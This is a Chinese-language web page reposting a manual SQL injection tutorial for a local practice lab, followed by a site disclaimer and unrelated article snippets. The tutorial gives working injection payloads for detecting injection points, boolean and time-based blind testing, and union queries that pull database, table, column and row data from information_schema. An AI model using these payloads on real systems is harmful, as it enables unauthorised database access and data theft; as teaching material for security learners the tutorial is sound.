二、sql手工注入

一、SQL注入的本质

解释:想要进行sql注入,肯定要发现注入点,一般简单的sql注入通过下面两种方式判断就能发现是否存在sql注入漏洞

1.字符型

注意:字符型注入可能为'"
查询语句:

select * from student where id='5';

字符型注入

select * from student where id='' and 1=2 -- ';

分析:上面内容用户输入为' and 1=2 -- ,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在字符型注入 (但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

注意:字符型注入一般格式如' and 1=2 -- ,但是注意在网页当中提交请求中,' and 1=2 -- 最后的空格输上会被自动删除,所以要用' and 1=2 --+(+在url解码后就是表示空格)

特殊情况:

SELECT * FROM course WHERE Cno=(((('4'))));
-- 这种情况简单的字符或者数字注入可能会有一些问题

2.数字型

查询语句:

select * from student where id=5;

数字注入

select * from student where id=1 and 1=2;

分析:上面内容用户输入为1 and 1=2,在此语句下and表示并列左右语句都要满足,因为1=2导致and一定返回false,所以这条语句肯定不能回显出其正确答案,以此可以判断出是否存在数字型注入
(但这种注入仅限存在回显的情况下,不存在的情况肯定要另加讨论)

二、SQL注入测试方法

1.布尔盲注

解释:布尔盲注适用于界面有明显的反应,即数据为显示与不显示两种状态(但是显示与不显示可能并不明显或者说很隐蔽),其实上面介绍字符型注入和数字型注入的时候就用到了

简单例子-查询语句:

select * from student where id='5';

简单例子-字符型注入

select * from student where id='' and 1=2 -- ';

解释:其就是通过and后面的语句来构造,但是要保证and前面的一定要为true,否则后面的内容验证也就失去了意义,注入时也要根据具体情况来构造,比如验证账号密码就不能使用' and 1=2 --+(因为你可能不知道账号是什么,就是and前面的内容很可能是错的,但是登录需要账号密码都正确,这时用' or 1=1 --+或许能够有效解决问题)

简单例子-应用实例:

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

2.时间盲注

解释:时间盲注的意思,在布尔盲注失效,即页面无论怎么样注入都不存在回显的情况下,可能就需要用到时间盲注了,其原理就是,如果存在注入点,就执行睡眠函数,让页面去进行等待,以次去观察页面反应时间,如果页面大概等待了指定时间才返回值可能就存在时间盲注

查询语句:

select * from student where id='5';

字符型注入

select * from student where id='' and sleep(5) -- ';

解释:上诉问题就是在页面没有内容回显的情况下进行的,当存在该注入点的时候,页面会睡眠5秒以上才会响应,这就是证明存在该注入点,可能通过类似此的方法来便利获取服务器的数据

三、SQL暴库方法

前提:此时已经找到了注入点,正在准备执行任意sql命令

1.联合注入

1.1 获取列数

解释:只有我们知道当前的列数,后面才能让我们执行联合查询语句

sql:SELECT * FROM course WHERE Cno='1' ORDER BY 5 -- ';

快速利用:

  • 1' ORDER BY 5 --+'
  • 1' ORDER BY 5 -- '
    知识点:如上使用order by语句,当order by nn小于当前表的列数不会报错,大于当前表的列数就会报错,显示在程序页面可能显示为数据消失或者异常

解释:通过发现注入点,想要执行我们的sql语句就要用到联合注入

简单执行:SELECT * FROM course WHERE Cno='-1' UNION SELECT 1,2,3,4 -- ';

常用函数:

名称功能
database()当前数据库名字
user()当前用户的名字
@@version_compile_os操作系统版本
@@datadir数据库的路径
version()mysql的版本号

简单例子:SELECT * FROM course WHERE Cno='-1' UNION SELECT @@datadir,USER(),DATABASE(),@@version_compile_os -- ';

1.2 获取数据

1. 查询数据库有哪些库:

  • 解释:当知道了有哪些数据库才能开始从该数据库获取信息
  • 构造后语句:
    SELECT * FROM course 
    WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) 
    FROM information_schema.schemata -- ';
    
  • GROUP_CONCAT(schema_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT schema_name FROM information_schema.schemata;
  • 原理:information_schemaschemata表里面放着所有数据库信息
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- '

2. 查询数据库有哪些表:

  • 解释:当知道了有哪些表才能开始从该表获取信息
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(table_name) 
    FROM information_schema.tables 
    WHERE table_schema=DATABASE() -- ';
    
  • GROUP_CONCAT(table_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();
  • 原理:information_schematables表里面放着所有数据的表单
  • 快速利用:
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+'
    • 1' UNION SELECT 1,2,3,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- '

3. 查询表里面的字段

  • 解释:当知道了表里面有哪些字段才能开始从该表获取信息,当然有人可能说知道表名直接使用select *但是由于使用union的联合查询受到诸多限制,这样使用并不现实
  • 构造后语句:
    SELECT * FROM course WHERE Cno='-1' 
    UNION SELECT 1,2,3,GROUP_CONCAT(column_name) 
    FROM information_schema.columns 
    WHERE table_name='course' -- ';
    
  • GROUP_CONCAT(column_name) 其相当于把内容显示在一行里面,因为在select里面只有1,2,3,4个位置,如果很多数据,无法按普通命令展示
  • 普通命令:SELECT column_name FROM information_schema.columns WHERE table_name='course';
  • 原理:information_schemacolumns 表里面放着所有数据的表单
  • 快速利用:
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' --+'
    • -1' UNION SELECT 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='course' -- '

4. 查询表里面的数据

构造命令:

SELECT * FROM course WHERE Cno='-1' 
UNION SELECT 1,2,3,GROUP_CONCAT(Cname) FROM course -- ';

普通命令:

SELECT Cname FROM course;

2.布尔注入

解释:上面的例子里面已经介绍了布尔盲注的测试方法,同时还介绍了联合注入,但是可能存在一种情况,对方WAF过滤了union字段,那么我们根本就无法使用联合注入,那我们只能使用下面介绍的布尔注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/162076.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python生成exe文件

Python如何生成exe文件 在终端执行 pip install pyinstaller 在终端执行pyinstaller E:\fund_data\GetFund.py,运行结束后会在D:\Python\Python311\Scripts\dist\目录下生成GetFund.exe文件 3.双击exe文件运行,如果未出现预期结果,可以把e…

含分布式电源的配电网可靠性评估(matlab代码)

1主要内容 该程序参考《基于仿射最小路法的含分布式电源配电网可靠性分析》文献方法,通过概率模型和时序模型分别进行建模,实现基于概率模型最小路法的含分布式电源配电网可靠性评估以及时序模型序贯蒙特卡洛模拟法的含分布式电源配电网可靠性评估。程序…

区间第k小数 (可持久化线段树、主席树)

题意:多次询问,每次询问某区间的第k小数。 可持久化线段树: 掺杂了一点前缀和的思想,对于每一个1 ~ i 的区间都建一个树,每个节点存的都是一个线段树,值存的是当前区间中初始数组按大小排序后[l, r]之间的…

【AGC】鸿蒙应用软件包上传问题解析

【问题背景】 近期收到了一些反馈,一些鸿蒙元服务开发者在发布应用市场的过程中,上传.app包时遇到了不同的报错,导致上传失败,下面来看一下这些报错的具体原因,如何正确打包上传。 【问题描述1】 HarmonyOS元服务软件…

51单片机PWM控制LED灯渐明渐暗实验

51单片机PWM控制LED灯渐明渐暗实验 1.概述 这篇文章介绍单片机的PWM通过占空比控制LED灯的渐明渐暗效果,通过该实验掌握PWM的原理以及应用它做一些事情。 2.操作步骤 2.1.硬件电路 1.硬件准备 名称型号数量单片机STC12C20521LED彩灯无2晶振12MHZ1电容30pf2电阻…

ubuntu上查看各个进程的实时CPUMEM占用的办法

top常见参数top界面分析system monitorhtop1、查看htop的使用说明2、显示树状结构3、htop使用好文推荐top top的用法应该是最为普遍的 常见参数 -d 更新频率,top显示的界面几秒钟更新一次 -n 更新的次数,top显示的界面更新多少次之后就自动结束了 当然也可以将top日志通过…

Android进阶知识:ANR的定位与解决

1、前言 ANR对于Android开发者来说一定不会陌生,从刚开始学习Android时的一不注意就ANR,到后来知道主线程不能进行耗时操作注意到这点后,程序出现ANR的情况就大大减少了,甚至于消失了。那么真的是只要在主线程做耗时操作就会产生…

RabbitMQ 的网页界面操作说明

启动 上面给用户添加了角色和权限, 我们就可以登录了 先手动创建两个队列,然后再把这两个队列和交换机绑定,就可以发布消息 回到队列中看看有什么变化 队列中显示绑定了交换机 再看一下队列中发生的变化 可以看到队列中收到了信息

2023亚太杯数学建模B题:玻璃温室中的微气候法规,思路模型代码论文

问题B 玻璃温室中的微气候法规 赛题思路:思路获取见文末名片,第一时间更新 温室作物的产量受到各种气候因素的影响,包括温度、湿度和风速[1]。其中,适 宜的温度和风速是植物生长[2]的关键。为了调节玻璃温室内的温度、风速等气…

基于C#实现树状数组

有一种数据结构是神奇的,神秘的,它展现了位运算与数组结合的神奇魅力,太牛逼的,它就是树状数组,这种数据结构不是神人是发现不了的。 一、概序 假如我现在有个需求,就是要频繁的求数组的前 n 项和&#x…

Day29| Leetcode 491. 递增子序列 Leetcode 46. 全排列 Leetcode 47. 全排列 II

Leetcode 491. 递增子序列 题目链接 491 递增子序列 本题目和前面的树层去重不太一样,因为这里不能对原集合进行排序,所以之前的去重就没法使用了,只能单纯的记录该元素有没有使用过(去重),下面使用的是…

Redis事务的理解与使用

文章目录 Redis 事务1)基本认识2)事务操作1.MULTI2.EXEC3.错误处理4.DISCARD5.WATCH6.SCRIPT Redis 事务 官方文档,永远是你学习的第一手资料:Redis 事务 1)基本认识 谈到事务,大家首先都会联想到 mysql 中复杂但又功能强大的“事务”&…

MySQL面试题总结

1. 表之间如何关联 表与表之间常用的关联方式有两种:内连接、外连接,下面以MySQL为例来说明这两种连接方式 内连接通过INNER JOIN来实现,它将返回两张表中满足连接条件的数据,不满足条件的数据不会查询出来 外连接 外连接通过OUTE…

SpringBoot——感谢尚硅谷官方文档

SpringBoot——感谢尚硅谷官方文档 1 Spring与SpringBoot1、Spring能做什么1.1、Spring的能力1.2、Spring的生态1.3、Spring5重大升级1.3.1、响应式编程1.3.2、内部源码设计 2、为什么用SpringBoot2.1、SpringBoot优点2.2、SpringBoot缺点 3、时代背景3.1、微服务3.2、分布式分…

Dubbo从入门到上天系列第十八篇:Dubbo引入Zookeeper等注册中心简介以及DubboAdmin简要介绍,为后续详解Dubbo各种注册中心做铺垫!

文章目录 一:Dubbo注册中心引言 1:什么是Dubbo的注册中心? 2:注册中心关系图解 3:引入注册中心服务执行流程 4:Dubbo注册中心好处 5:注册中心核心作用 二:注册中心实现方案 …

10.docker的网络network-概述

1.docker的网络模式 docker共有四种网路模式,分别是bridge、host、none和container. 1.1 bridge bridge,也称为虚拟网桥。在bridge模式下,为每个容器分配、配置IP等,并将容器连接到一个docker0。使用–network bridge命令指定,…

【01】ES6:ECMAScript 介绍

ECMAScript 6.0 (以下简称 ES6)是 JavaScript 语言的下一代标准,已经在 2015 年 6 月正式发布。它的目标,是使得 JavaScript 语言可以用来编写复杂的大型应用程序,成为企业级开发语言。 参考:《ECMAScript…

C# Winform使用log4net记录日志

写在前面 Log4Net是从Java的log4j移植过来的,功能也与log4j类似,可以把日志信息输出到文件、数据库、控制台、Windows 事件日志、远程系统日志服务等不同的介质或目标。 Log4Net配置选项丰富灵活,并且可在运行时动态更新配置并应用&#xf…

解析紫光展锐T820 5G芯片——让照片接近原色

紫光展锐系统级安全的高性能5G SoC芯片平台T820,采用八核CPU架构,6nm EUV先进工艺,金融级全内置安全方案,在性能、功耗与5G通信体验等方面,较上一代产品更为出色。 此前,已经为大家讲解过T820的拍照、安全性…

mac跑分工具 Geekbench v6.2.2

Geekbench 6 是一款跨平台的系统性能测试软件,可以对处理器和内存等硬件进行评测,并提供了单核和多核两种测试模式。该软件适用于 Windows、macOS、Linux 和 iOS 等多种操作系统平台。 Geekbench 6 测试可以帮助用户快速准确地了解自己设备的性能表现&am…